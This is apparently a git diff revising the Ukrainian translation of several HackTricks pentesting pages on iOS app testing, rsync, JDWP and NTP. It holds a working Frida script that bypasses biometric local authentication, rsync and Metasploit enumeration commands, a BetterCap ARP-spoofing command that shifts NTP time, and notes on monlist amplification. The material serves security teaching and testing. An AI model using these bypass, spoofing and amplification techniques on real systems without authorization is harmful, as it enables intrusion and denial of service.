- **`deviceOwnerAuthenticationWithBiometrics`**: Виключно запитує Touch ID.
|
||||||
|
|
||||||
Успішна аутентифікація вказується булевим значенням, повернутим з **`evaluatePolicy`**, що підкреслює потенційний недолік безпеки.
|
Успішна аутентифікація вказується булевим значенням, повернутим з **`evaluatePolicy`**, що підкреслює потенційний недолік безпеки.
|
||||||
@ -880,12 +880,12 @@ NSLog(@"Something went wrong");
|
|||||||
```bash
|
```bash
|
||||||
$ otool -L <AppName>.app/<AppName>
|
$ otool -L <AppName>.app/<AppName>
|
||||||
```
|
```
|
||||||
Якщо в додатку використовується `LocalAuthentication.framework`, вивід міститиме обидві наступні рядки (пам'ятайте, що `LocalAuthentication.framework` використовує `Security.framework` під капотом):
|
Якщо в додатку використовується `LocalAuthentication.framework`, вихід міститиме обидві наступні рядки (пам'ятайте, що `LocalAuthentication.framework` використовує `Security.framework` під капотом):
|
||||||
```bash
|
```bash
|
||||||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||||
/System/Library/Frameworks/Security.framework/Security
|
/System/Library/Frameworks/Security.framework/Security
|
||||||
```
|
```
|
||||||
Якщо використовується `Security.framework`, буде показано лише другий.
|
Якщо використовується `Security.framework`, буде показано лише другий варіант.
|
||||||
|
|
||||||
### Обхід локальної аутентифікації
|
### Обхід локальної аутентифікації
|
||||||
|
|
||||||
@ -934,7 +934,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Щоб досягти **обходу** локальної аутентифікації, написано скрипт Frida. Цей скрипт націлений на перевірку **evaluatePolicy**, перехоплюючи її зворотний виклик, щоб забезпечити повернення **success=1**. Змінюючи поведінку зворотного виклику, перевірка аутентифікації ефективно обходиться.
|
Щоб досягти **bypass** локальної аутентифікації, написано скрипт Frida. Цей скрипт націлений на перевірку **evaluatePolicy**, перехоплюючи її зворотний виклик, щоб забезпечити повернення **success=1**. Змінюючи поведінку зворотного виклику, перевірка аутентифікації ефективно обходиться.
|
||||||
|
|
||||||
Скрипт нижче інжектується для зміни результату методу **evaluatePolicy**. Він змінює результат зворотного виклику, щоб завжди вказувати на успіх.
|
Скрипт нижче інжектується для зміни результату методу **evaluatePolicy**. Він змінює результат зворотного виклику, щоб завжди вказувати на успіх.
|
||||||
```swift
|
```swift
|
||||||
@ -958,13 +958,13 @@ return result;
|
|||||||
console.log("Objective-C Runtime is not available!");
|
console.log("Objective-C Runtime is not available!");
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Щоб ввести скрипт Frida та обійти біометричну аутентифікацію, використовується наступна команда:
|
Щоб впровадити скрипт Frida та обійти біометричну аутентифікацію, використовується наступна команда:
|
||||||
```bash
|
```bash
|
||||||
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
|
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
|
||||||
```
|
```
|
||||||
## Витік чутливої функціональності через IPC
|
## Витік чутливої функціональності через IPC
|
||||||
|
|
||||||
### Користувацькі обробники URI / Deeplinks / Користувацькі схеми
|
### Користувацькі обробники URI / Глибокі посилання / Користувацькі схеми
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
ios-custom-uri-handlers-deeplinks-custom-schemes.md
|
ios-custom-uri-handlers-deeplinks-custom-schemes.md
|
||||||
@ -1008,7 +1008,7 @@ ios-serialisation-and-encoding.md
|
|||||||
|
|
||||||
## Мережева комунікація
|
## Мережева комунікація
|
||||||
|
|
||||||
Важливо перевірити, що жодна комунікація не відбувається **без шифрування** і що додаток правильно **перевіряє TLS сертифікат** сервера.\
|
Важливо перевірити, що жодна комунікація не відбувається **без шифрування** і що додаток правильно **перевіряє сертифікат TLS** сервера.\
|
||||||
Щоб перевірити ці проблеми, ви можете використовувати проксі, наприклад, **Burp**:
|
Щоб перевірити ці проблеми, ви можете використовувати проксі, наприклад, **Burp**:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -1017,13 +1017,13 @@ burp-configuration-for-ios.md
|
|||||||
|
|
||||||
### Перевірка імені хоста
|
### Перевірка імені хоста
|
||||||
|
|
||||||
Однією з поширених проблем при перевірці TLS сертифіката є перевірка, що сертифікат був підписаний **достовірним** **ЦС**, але **не перевіряти**, чи **ім'я хоста** сертифіката є ім'ям хоста, до якого звертаються.\
|
Однією з поширених проблем при перевірці сертифіката TLS є перевірка, що сертифікат був підписаний **достовірним** **ЦС**, але **не перевіряти**, чи **ім'я хоста** сертифіката є іменем хоста, до якого звертаються.\
|
||||||
Щоб перевірити цю проблему за допомогою Burp, після довірення Burp CA на iPhone, ви можете **створити новий сертифікат з Burp для іншого імені хоста** і використовувати його. Якщо додаток все ще працює, то щось вразливе.
|
Щоб перевірити цю проблему за допомогою Burp, після довірення CA Burp на iPhone, ви можете **створити новий сертифікат з Burp для іншого імені хоста** і використовувати його. Якщо додаток все ще працює, то щось вразливе.
|
||||||
|
|
||||||
### Прив'язка сертифіката
|
### Прив'язка сертифіката
|
||||||
|
|
||||||
Якщо додаток правильно використовує SSL Pinning, то він буде працювати лише якщо сертифікат є тим, що очікується. При тестуванні додатка **це може бути проблемою, оскільки Burp буде надавати свій власний сертифікат.**\
|
Якщо додаток правильно використовує SSL Pinning, то він буде працювати лише якщо сертифікат є тим, що очікується. При тестуванні додатка **це може бути проблемою, оскільки Burp надасть свій власний сертифікат.**\
|
||||||
Щоб обійти цю захист на джейлбрейкнутому пристрої, ви можете встановити додаток [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) або встановити [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
Щоб обійти цю захист на зламаному пристрої, ви можете встановити додаток [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) або встановити [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||||
|
|
||||||
Ви також можете використовувати **objection's** `ios sslpinning disable`
|
Ви також можете використовувати **objection's** `ios sslpinning disable`
|
||||||
|
|
||||||
@ -1036,7 +1036,7 @@ burp-configuration-for-ios.md
|
|||||||
- У папці встановленого додатку (**`/User/Applications/<APP ID>/`**) ви можете знайти деякі цікаві файли:
|
- У папці встановленого додатку (**`/User/Applications/<APP ID>/`**) ви можете знайти деякі цікаві файли:
|
||||||
- **`iTunesArtwork`**: Іконка, що використовується додатком
|
- **`iTunesArtwork`**: Іконка, що використовується додатком
|
||||||
- **`iTunesMetadata.plist`**: Інформація про додаток, що використовується в App Store
|
- **`iTunesMetadata.plist`**: Інформація про додаток, що використовується в App Store
|
||||||
- **`/Library/*`**: Містить налаштування та кеш. У **`/Library/Cache/Snapshots/*`** ви можете знайти знімок, виконаний для додатку перед його відправкою у фоновий режим.
|
- **`/Library/*`**: Містить налаштування та кеш. У **`/Library/Cache/Snapshots/*`** ви можете знайти знімок, виконаний для додатку перед його відправленням у фоновий режим.
|
||||||
|
|
||||||
### Гаряче патчування/Примусове оновлення
|
### Гаряче патчування/Примусове оновлення
|
||||||
|
|
||||||
@ -1046,9 +1046,9 @@ burp-configuration-for-ios.md
|
|||||||
|
|
||||||
### Сторонні програми
|
### Сторонні програми
|
||||||
|
|
||||||
Суттєвим викликом з **3rd party SDKs** є **відсутність детального контролю** над їх функціональністю. Розробники стикаються з вибором: або інтегрувати SDK і прийняти всі його функції, включаючи потенційні вразливості безпеки та проблеми конфіденційності, або зовсім відмовитися від його переваг. Часто розробники не можуть виправити вразливості в цих SDK самостійно. Більше того, оскільки SDK отримують довіру в спільноті, деякі з них можуть почати містити шкідливе ПЗ.
|
Суттєвим викликом з **3rd party SDKs** є **відсутність детального контролю** над їх функціональністю. Розробники стикаються з вибором: або інтегрувати SDK і прийняти всі його функції, включаючи потенційні вразливості безпеки та проблеми з конфіденційністю, або зовсім відмовитися від його переваг. Часто розробники не можуть самостійно виправити вразливості в цих SDK. Більше того, оскільки SDK отримують довіру в спільноті, деякі з них можуть почати містити шкідливе ПЗ.
|
||||||
|
|
||||||
Послуги, що надаються сторонніми SDK, можуть включати відстеження поведінки користувачів, показ реклами або покращення користувацького досвіду. Однак це створює ризик, оскільки розробники можуть не бути повністю обізнані про код, що виконується цими бібліотеками, що призводить до потенційних ризиків конфіденційності та безпеки. Важливо обмежити інформацію, що передається стороннім службам, до необхідного та забезпечити, щоб жодні чутливі дані не були розкриті.
|
Послуги, що надаються сторонніми SDK, можуть включати відстеження поведінки користувачів, показ реклами або покращення користувацького досвіду. Однак це створює ризик, оскільки розробники можуть не повністю усвідомлювати код, що виконується цими бібліотеками, що призводить до потенційних ризиків для конфіденційності та безпеки. Важливо обмежити інформацію, що передається стороннім службам, до необхідного та забезпечити, щоб жодні чутливі дані не були розкриті.
|
||||||
|
|
||||||
Впровадження сторонніх послуг зазвичай відбувається у двох формах: окрема бібліотека або повний SDK. Щоб захистити конфіденційність користувача, будь-які дані, що передаються цим службам, повинні бути **анонімізовані**, щоб запобігти розкриттю особистої ідентифікаційної інформації (PII).
|
Впровадження сторонніх послуг зазвичай відбувається у двох формах: окрема бібліотека або повний SDK. Щоб захистити конфіденційність користувача, будь-які дані, що передаються цим службам, повинні бути **анонімізовані**, щоб запобігти розкриттю особистої ідентифікаційної інформації (PII).
|
||||||
|
|
||||||
|
|||||||
@ -4,9 +4,9 @@
|
|||||||
|
|
||||||
## **Основна інформація**
|
## **Основна інформація**
|
||||||
|
|
||||||
З [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
З [вікіпедії](https://en.wikipedia.org/wiki/Rsync):
|
||||||
|
|
||||||
> **rsync** - це утиліта для ефективного [перенесення](https://en.wikipedia.org/wiki/File_transfer) та [синхронізації](https://en.wikipedia.org/wiki/File_synchronization) [файлів](https://en.wikipedia.org/wiki/Computer_file) між комп'ютером та зовнішнім жорстким диском, а також між [мережевими](https://en.wikipedia.org/wiki/Computer_network) [комп'ютерами](https://en.wikipedia.org/wiki/Computer) шляхом порівняння [часів модифікації](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) та розмірів файлів.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) Він зазвичай зустрічається на [Unix-подібних](https://en.wikipedia.org/wiki/Unix-like) [операційних системах](https://en.wikipedia.org/wiki/Operating_system). Алгоритм rsync є типом [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding) і використовується для мінімізації використання мережі. [Zlib](https://en.wikipedia.org/wiki/Zlib) може бути використаний для додаткової [стиснення даних](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) а [SSH](https://en.wikipedia.org/wiki/Secure_Shell) або [stunnel](https://en.wikipedia.org/wiki/Stunnel) можуть бути використані для безпеки.
|
> **rsync** - це утиліта для ефективного [перенесення](https://en.wikipedia.org/wiki/File_transfer) та [синхронізації](https://en.wikipedia.org/wiki/File_synchronization) [файлів](https://en.wikipedia.org/wiki/Computer_file) між комп'ютером та зовнішнім жорстким диском, а також між [мережевими](https://en.wikipedia.org/wiki/Computer_network) [комп'ютерами](https://en.wikipedia.org/wiki/Computer) шляхом порівняння [часів модифікації](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) та розмірів файлів.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) Він зазвичай зустрічається на [Unix-подібних](https://en.wikipedia.org/wiki/Unix-like) [операційних системах](https://en.wikipedia.org/wiki/Operating_system). Алгоритм rsync є типом [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding) і використовується для мінімізації використання мережі. [Zlib](https://en.wikipedia.org/wiki/Zlib) може використовуватися для додаткового [стиснення даних](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) а [SSH](https://en.wikipedia.org/wiki/Secure_Shell) або [stunnel](https://en.wikipedia.org/wiki/Stunnel) можуть використовуватися для безпеки.
|
||||||
|
|
||||||
**Порт за замовчуванням:** 873
|
**Порт за замовчуванням:** 873
|
||||||
```
|
```
|
||||||
@ -39,7 +39,7 @@ raidroot
|
|||||||
```
|
```
|
||||||
### **Перерахування спільних папок**
|
### **Перерахування спільних папок**
|
||||||
|
|
||||||
**Модулі Rsync** вважаються **спільними каталогами**, які можуть бути **захищені паролями**. Щоб визначити доступні модулі та перевірити, чи потрібні паролі, використовуються такі команди:
|
**Rsync модулі** вважаються **спільними каталогами**, які можуть бути **захищені паролями**. Щоб визначити доступні модулі та перевірити, чи потрібні паролі, використовуються такі команди:
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
||||||
msf> use auxiliary/scanner/rsync/modules_list
|
msf> use auxiliary/scanner/rsync/modules_list
|
||||||
@ -47,13 +47,13 @@ msf> use auxiliary/scanner/rsync/modules_list
|
|||||||
# Example with IPv6 and alternate port
|
# Example with IPv6 and alternate port
|
||||||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||||||
```
|
```
|
||||||
Будьте обережні, що деякі спільні ресурси можуть не з'явитися в списку, можливо, їх приховано. Крім того, доступ до деяких спільних ресурсів може бути обмежений певними **обліковими даними**, що вказується повідомленням **"Доступ заборонено"**.
|
Зверніть увагу, що деякі спільні ресурси можуть не з'являтися у списку, можливо, приховуючи їх. Крім того, доступ до деяких спільних ресурсів може бути обмежений конкретними **обліковими даними**, що вказується повідомленням **"Доступ заборонено"**.
|
||||||
|
|
||||||
### [**Brute Force**](../generic-hacking/brute-force.md#rsync)
|
### [**Brute Force**](../generic-hacking/brute-force.md#rsync)
|
||||||
|
|
||||||
### Ручне використання Rsync
|
### Ручне використання Rsync
|
||||||
|
|
||||||
Після отримання **списку модулів** дії залежать від того, чи потрібна аутентифікація. Без аутентифікації **перелік** та **копіювання** файлів з загальної папки до локального каталогу здійснюється через:
|
Після отримання **списку модулів** дії залежать від того, чи потрібна аутентифікація. Без аутентифікації **перелік** та **копіювання** файлів з загальної папки до локального каталогу здійснюється за допомогою:
|
||||||
```bash
|
```bash
|
||||||
# Listing a shared folder
|
# Listing a shared folder
|
||||||
rsync -av --list-only rsync://192.168.0.123/shared_name
|
rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||||
|
|||||||
@ -2,10 +2,9 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
## Exploiting
|
## Exploiting
|
||||||
|
|
||||||
Експлуатація JDWP ґрунтується на **відсутності аутентифікації та шифрування** протоколу. Зазвичай він знаходиться на **порті 8000**, але можливі й інші порти. Початкове з'єднання здійснюється шляхом відправлення "JDWP-Handshake" на цільовий порт. Якщо служба JDWP активна, вона відповідає тим же рядком, підтверджуючи свою присутність. Цей хендшейк діє як метод відбитків для ідентифікації служб JDWP в мережі.
|
Експлуатація JDWP базується на **відсутності аутентифікації та шифрування** протоколу. Зазвичай він знаходиться на **порті 8000**, але можливі й інші порти. Початкове з'єднання здійснюється шляхом відправлення "JDWP-Handshake" на цільовий порт. Якщо служба JDWP активна, вона відповідає тим же рядком, підтверджуючи свою присутність. Цей хендшейк діє як метод відбитків для ідентифікації служб JDWP в мережі.
|
||||||
|
|
||||||
Щодо ідентифікації процесів, пошук рядка "jdwk" у процесах Java може вказувати на активну сесію JDWP.
|
Щодо ідентифікації процесів, пошук рядка "jdwk" у процесах Java може вказувати на активну сесію JDWP.
|
||||||
|
|
||||||
@ -28,17 +27,17 @@
|
|||||||
|
|
||||||
2. **Рукостискання JDWP**:
|
2. **Рукостискання JDWP**:
|
||||||
|
|
||||||
- Використовується простий процес рукостискання для ініціації зв'язку. Обмінюється 14-символьний ASCII рядок “JDWP-Handshake” між Дебагером (клієнтом) та Дебагованим (сервером).
|
- Використовується простий процес рукостискання для ініціації зв'язку. Обмінюється 14-символьний ASCII рядок “JDWP-Handshake” між Дебагером (клієнтом) і Дебагованим (сервером).
|
||||||
|
|
||||||
3. **Комунікація JDWP**:
|
3. **Комунікація JDWP**:
|
||||||
|
|
||||||
- Повідомлення мають просту структуру з полями, такими як Довжина, Ідентифікатор, Прапор та CommandSet.
|
- Повідомлення мають просту структуру з полями, такими як Довжина, Ідентифікатор, Прапор і Набір команд.
|
||||||
- Значення CommandSet варіюються від 0x40 до 0x80, представляючи різні дії та події.
|
- Значення Набору команд варіюються від 0x40 до 0x80, представляючи різні дії та події.
|
||||||
|
|
||||||
4. **Експлуатація**:
|
4. **Експлуатація**:
|
||||||
|
|
||||||
- JDWP дозволяє завантажувати та викликати довільні класи та байт-код, що створює ризики безпеки.
|
- JDWP дозволяє завантажувати та викликати довільні класи та байт-код, що створює ризики безпеки.
|
||||||
- Стаття детально описує процес експлуатації в п'яти кроках, що включає отримання посилань на Java Runtime, встановлення точок зупинки та виклик методів.
|
- У статті детально описується процес експлуатації в п'яти кроках, що включає отримання посилань на Java Runtime, встановлення точок зупинки та виклик методів.
|
||||||
|
|
||||||
5. **Експлуатація в реальному житті**:
|
5. **Експлуатація в реальному житті**:
|
||||||
|
|
||||||
@ -53,11 +52,11 @@
|
|||||||
- [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
- [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
||||||
- [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
- [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
||||||
- [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
|
- [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
|
||||||
- http://www.secdev.org/projects/scapy(no longer active)
|
- http://www.secdev.org/projects/scapy(більше не активний)
|
||||||
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
|
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
|
||||||
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
|
- http://www.hsc-news.com/archives/2013/000109.html (більше не активний)
|
||||||
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
|
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
|
||||||
- https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
|
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
|
||||||
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
|
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
|
||||||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
|
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
|
||||||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||||||
|
|||||||
@ -80,33 +80,33 @@ zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv
|
|||||||
|
|
||||||
| Рік | CVE | Компонент | Вплив |
|
| Рік | CVE | Компонент | Вплив |
|
||||||
|------|-----|-----------|--------|
|
|------|-----|-----------|--------|
|
||||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Багаторазові записи за межами допустимого, доступні через відповіді **ntpq**. Патч у **4.2.8p16** 🡒 оновлення або зворотне портування виправлень. citeturn1search1turn1search2turn1search0|
|
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Багаторазові записи за межами допустимого, доступні через відповіді **ntpq**. Патч у **4.2.8p16** 🡒 оновлення або зворотне портування виправлень. |
|
||||||
| 2023 | **CVE-2023-33192** | **ntpd-rs** (реалізація на Rust) | Неправильно сформований **NTS** cookie викликає віддалений **DoS** до v0.3.3 – впливає на порт 123 навіть коли NTS **вимкнено**. citeturn4view0|
|
| 2023 | **CVE-2023-33192** | **ntpd-rs** (реалізація на Rust) | Неправильно сформований **NTS** cookie викликає віддалений **DoS** до v0.3.3 – впливає на порт 123 навіть коли NTS **вимкнено**. |
|
||||||
| 2024 | оновлення дистрибутивів | **chrony 4.4 / 4.5** – кілька виправлень безпеки та NTS-KE (наприклад, SUSE-RU-2024:2022) citeturn2search2|
|
| 2024 | оновлення дистрибутивів | **chrony 4.4 / 4.5** – кілька виправлень безпеки та NTS-KE (наприклад, SUSE-RU-2024:2022) |
|
||||||
| 2024 | Запис DDoS | Cloudflare повідомляє про **5.6 Tbps UDP відображення** атаки (NTP серед використаних протоколів). Тримайте *monitor* та *monlist* вимкненими на хостах, що виходять в Інтернет. citeturn5search0|
|
| 2024 | Запис DDoS | Cloudflare повідомляє про **5.6 Tbps UDP reflection** атаку (NTP серед використаних протоколів). Тримайте *monitor* та *monlist* вимкненими на хостах, що виходять в Інтернет. |
|
||||||
|
|
||||||
> **Експлойт-кити**: Патчі для концептуальних навантажень серії 2023 ntpq OOB-write доступні на GitHub (див. опис Meinberg) і можуть бути використані для фішингу з боку клієнта для системних адміністраторів. citeturn1search4
|
> **Експлойт-кити**: Патчі для концептуальних навантажень серії 2023 ntpq OOB-write доступні на GitHub (див. опис Meinberg) і можуть бути використані для фішингу з боку клієнта для системних адміністраторів.
|
||||||
|
|
||||||
---
|
---
|
||||||
## Розширені атаки
|
## Розширені атаки
|
||||||
|
|
||||||
### 1. Посилення / Відображення NTP
|
### 1. NTP підсилення / Відображення
|
||||||
|
|
||||||
Запит старого режиму-7 ``monlist`` повертає до **600 адрес хостів** і все ще присутній на тисячах Інтернет-хостів. Оскільки відповідь (428-468 байт/запис) *~ 200×* більша за 8-байтовий запит, зловмисник може досягти тризначних коефіцієнтів посилення. Заходи пом'якшення:
|
Запит старого режиму-7 ``monlist`` повертає до **600 адрес хостів** і все ще присутній на тисячах Інтернет-хостів. Оскільки відповідь (428-468 байт/запис) є *~ 200×* більшою за 8-байтовий запит, зловмисник може досягти тризначних коефіцієнтів підсилення. Заходи пом'якшення:
|
||||||
|
|
||||||
- Оновіть до ntp 4.2.8p15+ та **додайте** ``disable monitor``.
|
- Оновіть до ntp 4.2.8p15+ та **додайте** ``disable monitor``.
|
||||||
- Обмежте швидкість UDP/123 на краю або увімкніть *sessions-required* на пристроях DDoS.
|
- Обмежте швидкість UDP/123 на краю або увімкніть *sessions-required* на пристроях DDoS.
|
||||||
- Увімкніть *BCP 38* фільтрацію виходу, щоб заблокувати підробку джерела.
|
- Увімкніть *BCP 38* фільтрацію виходу, щоб заблокувати підробку джерела.
|
||||||
|
|
||||||
Дивіться статтю навчального центру Cloudflare для покрокового розбору. citeturn5search1
|
Дивіться статтю навчального центру Cloudflare для покрокового розбору.
|
||||||
|
|
||||||
### 2. Атаки на зсув часу / затримку (дослідження Khronos / Chronos)
|
### 2. Атаки на зсув часу / затримку (дослідження Khronos / Chronos)
|
||||||
|
|
||||||
Навіть з автентифікацією, зловмисник на шляху може безшумно **зсунути годинник клієнта**, скидаючи/затримуючи пакети. Проект IETF **Khronos (раніше Chronos)** пропонує запитувати різноманітний набір серверів у фоновому режимі та перевіряти результати на наявність зсуву > 𝚡 мс. Сучасний chrony (4.4+) вже реалізує подібний фільтр перевірки (``maxdistance`` / ``maxjitter``). citeturn9search1
|
Навіть з аутентифікацією, зловмисник на шляху може безшумно **зсунути годинник клієнта**, скидаючи/затримуючи пакети. Проект IETF **Khronos (раніше Chronos)** пропонує запитувати різноманітний набір серверів у фоновому режимі та перевіряти результати на предмет виявлення зсуву > 𝚡 мс. Сучасний chrony (4.4+) вже реалізує подібний фільтр перевірки (``maxdistance`` / ``maxjitter``).
|
||||||
|
|
||||||
### 3. Зловживання NTS та експозиція 4460/tcp
|
### 3. Зловживання NTS та експозиція 4460/tcp
|
||||||
|
|
||||||
NTS переміщує важку криптографію на окремий **TLS 1.3 канал на 4460/tcp** (``ntske/1``). Погані реалізації (див. CVE-2023-33192) аварійно завершуються при парсингу cookie або дозволяють слабкі шифри. Pentesters повинні:
|
NTS переміщує важку криптографію на окремий **TLS 1.3 канал на 4460/tcp** (``ntske/1``). Погані реалізації (див. CVE-2023-33192) аварійно завершуються при парсингу cookie або дозволяють слабкі шифри. Пентестери повинні:
|
||||||
```bash
|
```bash
|
||||||
# TLS reconnaissance
|
# TLS reconnaissance
|
||||||
nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
|
nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
|
||||||
@ -114,7 +114,7 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
|
|||||||
# Grab banner & ALPN
|
# Grab banner & ALPN
|
||||||
openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
|
openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
|
||||||
```
|
```
|
||||||
Шукайте самопідписані або прострочені сертифікати та слабкі шифри (non-AEAD). Посилання: RFC 8915 §4. citeturn11search0
|
Шукайте самопідписані або прострочені сертифікати та слабкі шифри (non-AEAD). Посилання: RFC 8915 §4.
|
||||||
|
|
||||||
---
|
---
|
||||||
## Укріплення / Найкраща поточна практика (BCP-233 / RFC 8633)
|
## Укріплення / Найкраща поточна практика (BCP-233 / RFC 8633)
|
||||||
@ -123,11 +123,11 @@ openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
|
|||||||
|
|
||||||
1. Використовувати **≥ 4** незалежні, різноманітні джерела часу (публічні пулі, GPS, PTP-містки), щоб уникнути отруєння з одного джерела.
|
1. Використовувати **≥ 4** незалежні, різноманітні джерела часу (публічні пулі, GPS, PTP-містки), щоб уникнути отруєння з одного джерела.
|
||||||
2. Увімкнути ``kod`` та ``limited``/``nomodify`` обмеження, щоб зловмисні клієнти отримували пакети **Kiss-o'-Death** з обмеженням швидкості замість повних відповідей.
|
2. Увімкнути ``kod`` та ``limited``/``nomodify`` обмеження, щоб зловмисні клієнти отримували пакети **Kiss-o'-Death** з обмеженням швидкості замість повних відповідей.
|
||||||
3. Моніторити журнали демонів на предмет **panic** подій або коригувань кроку > 1000 с. (Сигнатури атаки згідно з RFC 8633 §5.3.)
|
3. Моніторити журнали демонів на наявність **panic** подій або коригувань кроку > 1000 с. (Сигнатури атаки згідно з RFC 8633 §5.3.)
|
||||||
4. Розглянути **leap-smear**, щоб уникнути простоїв через стрибки секунд, але переконатися, що *всі* клієнти нижнього рівня використовують одне й те саме вікно розмиття.
|
4. Розглянути **leap-smear**, щоб уникнути простоїв через стрибки секунд, але переконатися, що *всі* downstream клієнти використовують одне й те саме вікно розмиття.
|
||||||
5. Зберігати опитування ≤24 год, щоб не пропустити прапори стрибка секунд.
|
5. Зберігати опитування ≤24 год, щоб не пропустити прапори стрибка секунд.
|
||||||
|
|
||||||
Дивіться RFC 8633 для всебічного контрольного списку. citeturn8search0turn8search1
|
Дивіться RFC 8633 для всебічного контрольного списку.
|
||||||
|
|
||||||
---
|
---
|
||||||
## Shodan / Censys Dorks
|
## Shodan / Censys Dorks
|
||||||
@ -144,7 +144,7 @@ port:4460 "ntske" # NTS-KE
|
|||||||
| ``ntpwn`` | Обгортка для скриптів, щоб розподілити запити monlist та peers | ``python ntpwn.py --monlist targets.txt`` |
|
| ``ntpwn`` | Обгортка для скриптів, щоб розподілити запити monlist та peers | ``python ntpwn.py --monlist targets.txt`` |
|
||||||
| **zgrab2 ntp** | Масове сканування / JSON вивід з включеним прапором monlist | Див. команду вище |
|
| **zgrab2 ntp** | Масове сканування / JSON вивід з включеним прапором monlist | Див. команду вище |
|
||||||
| ``chronyd`` з ``allow`` | Запустити підроблений NTP сервер у лабораторії пентесту | ``chronyd -q 'server 127.127.1.0 iburst'`` |
|
| ``chronyd`` з ``allow`` | Запустити підроблений NTP сервер у лабораторії пентесту | ``chronyd -q 'server 127.127.1.0 iburst'`` |
|
||||||
| ``BetterCap`` | Впровадження NTP пакетів для MITM з зміщенням часу по Wi-Fi | ``set arp.spoof.targets <victim>; set ntp.time.delta 30s; arp.spoof on`` |
|
| ``BetterCap`` | Впровадження NTP пакетів для MITM з зсувом часу на Wi-Fi | ``set arp.spoof.targets <victim>; set ntp.time.delta 30s; arp.spoof on`` |
|
||||||
|
|
||||||
---
|
---
|
||||||
## Автоматичні команди HackTricks
|
